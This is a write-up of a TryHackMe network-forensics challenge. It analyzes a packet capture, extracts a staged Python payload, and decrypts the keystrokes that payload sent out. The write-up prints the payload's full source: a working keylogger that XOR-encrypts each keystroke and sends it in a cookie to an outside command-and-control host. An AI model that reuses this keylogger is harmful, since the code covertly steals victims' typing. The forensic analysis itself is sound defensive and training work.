Eye of Ra
SECURITY RESEARCHAsbawy
cd ../writeups
2026-07-31·TryHackMe·Challenge·7 min

Packed Light — TryHackMe Challenge Writeup

EasyNetwork ForensicsAUTO
Network ForensicsPCAP AnalysisWiresharkC2 TrafficPython Reverse EngineeringXOR EncryptionKeylogger
_

Initial Inspection

We start by analyzing the provided packet capture file, traffic.pcapng, using Wireshark or tshark to understand the network activity and identify any suspicious communications.

::Protocol Hierarchy & HTTP Activity

Checking the protocol hierarchy reveals a small amount of HTTP traffic amidst background network chatter:

~ / bash
tshark -r traffic.pcapng -q -z io,phs

Filtering specifically for HTTP request methods and target URIs reveals an interesting interaction between the local machine (192.168.1.141) and an external server (34.41.103.191 / byte-lotus-hotel.thm:8080):

~ / bash
tshark -r traffic.pcapng -Y "http.request" -T fields -e frame.number -e ip.src -e ip.dst -e http.request.method -e http.host -e http.request.uri

Output:

~ / text
16 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /temp/updates.py
391 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
428 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
520 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
585 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
619 192.168.1.141 34.41.103.191 GET byte-lotus-hotel.thm:8080 /
...

Key Observation: The victim machine initially fetches a Python script (/temp/updates.py) in packet 16, followed immediately by 30 periodic GET requests to /. This pattern strongly suggests a Command and Control (C2) agent staging an initial payload and subsequently exfiltrating data.

_

Extracting the C2 Payload

::Inspecting Packet 19

Packet 19 contains the HTTP 200 OK response from byte-lotus-hotel.thm:8080 for /temp/updates.py. We can dump the HTTP response body using tshark:

~ / bash
tshark -r traffic.pcapng -Y "frame.number==19" -T fields -e http.file_data

The response payload is sent as plaintext Python code in the HTTP response:

~ / python
import requests
import base64
from pynput import keyboard
 
C2_URL = "http://byte-lotus-hotel.thm:8080/"
 
def getkey():
p1 = "H0t3lSt@ff0Nly"
p2 = "K3epS3cr3t!"
return p1 + p2
 
def xor(data: bytes, key: bytes) -> bytes:
return bytes(b ^ key[i % len(key)] for i, b in enumerate(data))
 
def sendltr(character):
raw_bytes = character.encode('utf-8')
encrypted = xor(raw_bytes, getkey().encode('utf-8'))
 
b64_string = base64.b64encode(encrypted).decode('utf-8')
 
headers = {
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) ByteLotusClient/1.1",
"Cookie": f"hotel_sess_state={b64_string}"
}
try:
requests.get(C2_URL, headers=headers, timeout=0.5)
except:
pass
 
def on_press(key):
try:
sendltr(key.char)
except AttributeError:
if key == keyboard.Key.space:
sendltr(" ")
elif key == keyboard.Key.enter:
sendltr("\n")
 
print("[*] Byte Lotus Sync Service started...")
with keyboard.Listener(on_press=on_press) as listener:
listener.join()
_

Reverse Engineering the Keylogger

Analyzing updates.py reveals how the keystrokes are captured, encrypted, and exfiltrated:

  1. Keystroke Hooking: Uses pynput.keyboard.Listener to intercept every key pressed by the user.
  2. Encryption Key: The function getkey() concatenates two strings to form the XOR key: "H0t3lSt@ff0NlyK3epS3cr3t!".
  3. Data Exfiltration: Each character is passed to sendltr(), encrypted via xor(), base64-encoded, and sent via an HTTP GET request inside the Cookie: hotel_sess_state=<base64> header.

The Encryption Quirk (Cryptanalysis): Look closely at xor(data, key) when called from sendltr(character). Because sendltr() encrypts keystrokes one character at a time, the length of data is always 1. Consequently, i in enumerate(data) is always 0. This means every single keystroke is XORed against only the first character of the key, which is 'H' (ord('H') = 0x48).

_

Reconstructing the Keystroke Stream

::Extracting HTTP Cookies

We can list all hotel_sess_state cookie values from the 30 subsequent HTTP GET requests in the packet capture:

~ / bash
tshark -r traffic.pcapng -Y "http.cookie" -T fields -e frame.number -e http.cookie

Output:

~ / text
391 hotel_sess_state=HA==
428 hotel_sess_state=AA==
520 hotel_sess_state=BQ==
585 hotel_sess_state=Mw==
619 hotel_sess_state=Hg==
707 hotel_sess_state=ew==
740 hotel_sess_state=Og==
790 hotel_sess_state=fA==
815 hotel_sess_state=Fw==
840 hotel_sess_state=eQ==
868 hotel_sess_state=Ow==
907 hotel_sess_state=Fw==
932 hotel_sess_state=Pw==
961 hotel_sess_state=fA==
990 hotel_sess_state=PA==
1019 hotel_sess_state=Kw==
1038 hotel_sess_state=IA==
1056 hotel_sess_state=eQ==
1076 hotel_sess_state=Jg==
1094 hotel_sess_state=Lw==
1114 hotel_sess_state=Fw==
1132 hotel_sess_state=eA==
1150 hotel_sess_state=Pg==
1168 hotel_sess_state=LQ==
1190 hotel_sess_state=Gg==
1220 hotel_sess_state=Fw==
1240 hotel_sess_state=MQ==
1260 hotel_sess_state=eA==
1278 hotel_sess_state=PQ==
1300 hotel_sess_state=NQ==

::Writing the Decryption Script

We write a quick Python snippet to base64-decode each cookie and XOR the resulting byte with 0x48 ('H'):

~ / python
import base64
 
cookies = [
'HA==', 'AA==', 'BQ==', 'Mw==', 'Hg==', 'ew==', 'Og==', 'fA==',
'Fw==', 'eQ==', 'Ow==', 'Fw==', 'Pw==', 'fA==', 'PA==', 'Kw==',
'IA==', 'eQ==', 'Jg==', 'Lw==', 'Fw==', 'eA==', 'Pg==', 'LQ==',
'Gg==', 'Fw==', 'MQ==', 'eA==', 'PQ==', 'NQ=='
]
 
flag = ""
for c in cookies:
raw = base64.b64decode(c)
flag += chr(raw[0] ^ ord('H'))
 
print(f"[+] Recovered Flag: {flag}")

Execution Output:

~ / text
[+] Recovered Flag: THM{FLAG}
_

Flag Capture

TryHackMe Challenge Flag
••••••••••••••••••••••••••••••[ Click to reveal flag ]
_

Automation

This entire challenge — from parsing the PCAPNG file to extracting the C2 staging payload, cryptanalyzing the XOR keylogger, and decrypting the exfiltrated keystrokes — can be fully automated. Instead of running each step manually, here's an interactive demo of the standalone Python solver script in action:

packed_light_solve.py

Click Run Exploit to start the automated exploitation

4 steps · fully automated

Standalone Solver Script: View or download the complete automated Python exploit script thm_packed_light_solve.py in our /autosolve directory.

_

References

about the author
Eye of Ra
Asbawy(Mohammed Al-Kasabi)

Red Team Consultant · Penetration Tester · Bug Bounty Hunter

Offensive security professional with 250+ vulnerabilities reported across 50+ organizations including Atlassian, Vimeo, and AT&T. Sharing research, tools, and field notes.

// end of writeup — return /writeups